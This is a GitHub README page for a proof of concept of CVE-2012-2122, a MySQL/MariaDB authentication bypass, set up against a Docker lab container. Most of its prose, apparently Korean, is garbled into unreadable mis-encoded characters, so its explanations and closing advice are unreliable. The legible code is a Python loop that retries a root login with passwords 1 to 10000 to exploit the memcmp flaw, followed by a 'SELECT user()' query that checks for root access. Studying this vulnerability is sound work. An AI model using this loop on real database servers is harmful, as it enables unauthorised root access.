Skip to content

Latest commit

ย 

History

History
52 lines (32 loc) ยท 1.93 KB

README.md

File metadata and controls

52 lines (32 loc) ยท 1.93 KB

CVE-2012-2122

๋ฐฐ์†Œ์ • (@baethwjd2)


์š”์•ฝ

  • CVE-2012-2122๋Š” MySQL๊ณผ MariaDB์˜ ํŠน์ • ๋ฒ„์ „์—์„œ ๋ฐœ๊ฒฌ๋œ ์ธ์ฆ ์šฐํšŒ ์ทจ์•ฝ์ 
  • ํŠน์ • ๋ฒ„์ „์˜ MySQL์€ ๋น„๋ฐ€๋ฒˆํ˜ธ์˜ ํ•ด์‹œ๊ฐ’์„ memcmp ํ•จ์ˆ˜๋กœ ์บ์ŠคํŒ…ํ•˜์—ฌ ์ธ์ฆ
  • memcmp ํ•จ์ˆ˜๋Š” -128 ~ 127 ์‚ฌ์ด์˜ ๊ฐ’์„ ๋ฐ˜ํ™˜ํ•˜๋ฏ€๋กœ, ์ž˜๋ชป๋œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์ž…๋ ฅํ•˜๋”๋ผ๋„ 1/256์˜ ํ™•๋ฅ ๋กœ ๋กœ๊ทธ์ธ์— ์„ฑ๊ณต
  • ๋”ฐ๋ผ์„œ ์ž„์˜์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ๋กœ ๋กœ๊ทธ์ธ์„ ๋ฐ˜๋ณตํ•จ์œผ๋กœ์จ, ์•…์˜์ ์ธ ๊ณต๊ฒฉ์ž๊ฐ€ DB์˜ root ๊ณ„์ •์„ ์‰ฝ๊ฒŒ ํš๋“ ๊ฐ€๋Šฅ

ํ™˜๊ฒฝ ๊ตฌ์„ฑ ๋ฐ ์‹คํ–‰

  • docker compose up -d ์ปค๋งจ๋“œ๋ฅผ ์ž…๋ ฅํ•ด ํ…Œ์ŠคํŠธ ํ™˜๊ฒฝ์„ ์‹คํ–‰ (์ทจ์•ฝ์ ์ด ๋ณด๊ณ ๋œ MySQL 5.5.22์˜ ์ปจํ…Œ์ด๋„ˆ ์ด๋ฏธ์ง€ ์‚ฌ์šฉ)
  • pip install pymysql ์ปค๋งจ๋“œ๋กœ poc.py ์‹คํ–‰์„ ์œ„ํ•œ pymysql ํŒจํ‚ค์ง€ ์„ค์น˜
  • python3 poc.py ๋ฅผ ์‹คํ–‰ํ•ด DB์˜ root ๊ณ„์ •์„ ํƒˆ์ทจํ•  ์ˆ˜ ์žˆ์Œ. ์œ ์ € ์ •๋ณด๋ฅผ ์ถœ๋ ฅํ•˜์—ฌ root ๊ณ„์ •์œผ๋กœ ๋กœ๊ทธ์ธ์ด ๋๋Š”์ง€ ํ™•์ธ

poc.py

1/256์˜ ํ™•๋ฅ ๋กœ ๋กœ๊ทธ์ธ์— ์„ฑ๊ณตํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ, ์ถฉ๋ถ„ํ•œ ํšŸ์ˆ˜๋งŒํผ ๋กœ๊ทธ์ธ์„ ๋ฐ˜๋ณต ์‹œํ–‰ํ•œ๋‹ค.

for i in range(1, 10001):
    password = str(i)
    conn = pymysql.connect(user=user, password=password, host=host, port=port, charset='utf8')

์œ ์ € ์ •๋ณด๋ฅผ ํ™•์ธํ•˜์—ฌ root ๊ณ„์ • ๋กœ๊ทธ์ธ์— ์„ฑ๊ณตํ–ˆ์Œ์„ ํ™•์ธํ•œ๋‹ค.

cursor.execute("SELECT user()")

๊ฒฐ๊ณผ


์ •๋ฆฌ

ํ•ด๋‹น ์ทจ์•ฝ์ ์„ ํ†ตํ•ด ๊ณต๊ฒฉ์ž๋Š” root๋ฅผ ํฌํ•จํ•œ ํŠน์ • ์‚ฌ์šฉ์ž ๊ณ„์ •์— ๋กœ๊ทธ์ธํ•˜์—ฌ, ์ธ๊ฐ€๋˜์ง€ ์•Š์€ ๊ถŒํ•œ์„ ํš๋“ํ•  ์ˆ˜ ์žˆ๋‹ค.

์ด๋Ÿฌํ•œ ์ƒํ™ฉ์„ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•ด, ๊ฐ€์žฅ ๋จผ์ € ๊ด€๋ฆฌ์ž๋Š” DB ์„œ๋ฒ„์˜ ๋„คํŠธ์›Œํฌ๊ฐ€ ๋…ธ์ถœ๋˜์ง€ ์•Š๋„๋ก ๋…ธ๋ ฅํ•ด์•ผ ํ•œ๋‹ค. ์ฆ‰, ์ธ๊ฐ€๋˜์ง€ ์•Š์€ ์•ก์„ธ์Šค๋ฅผ ์ฐจ๋‹จํ•  ์ˆ˜ ์žˆ๋„๋ก ๋ฏธ๋ฆฌ ์„œ๋ฒ„๋ฅผ ์„ค์ •ํ•ด์•ผ ํ•œ๋‹ค. ๊ทธ๋ฆฌ๊ณ  ์ฃผ๊ธฐ์ ์œผ๋กœ ์„œ๋น„์Šค ์ทจ์•ฝ์ ์„ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜๊ณ  ํŒจ์น˜ํ•ด์•ผ ํ•œ๋‹ค.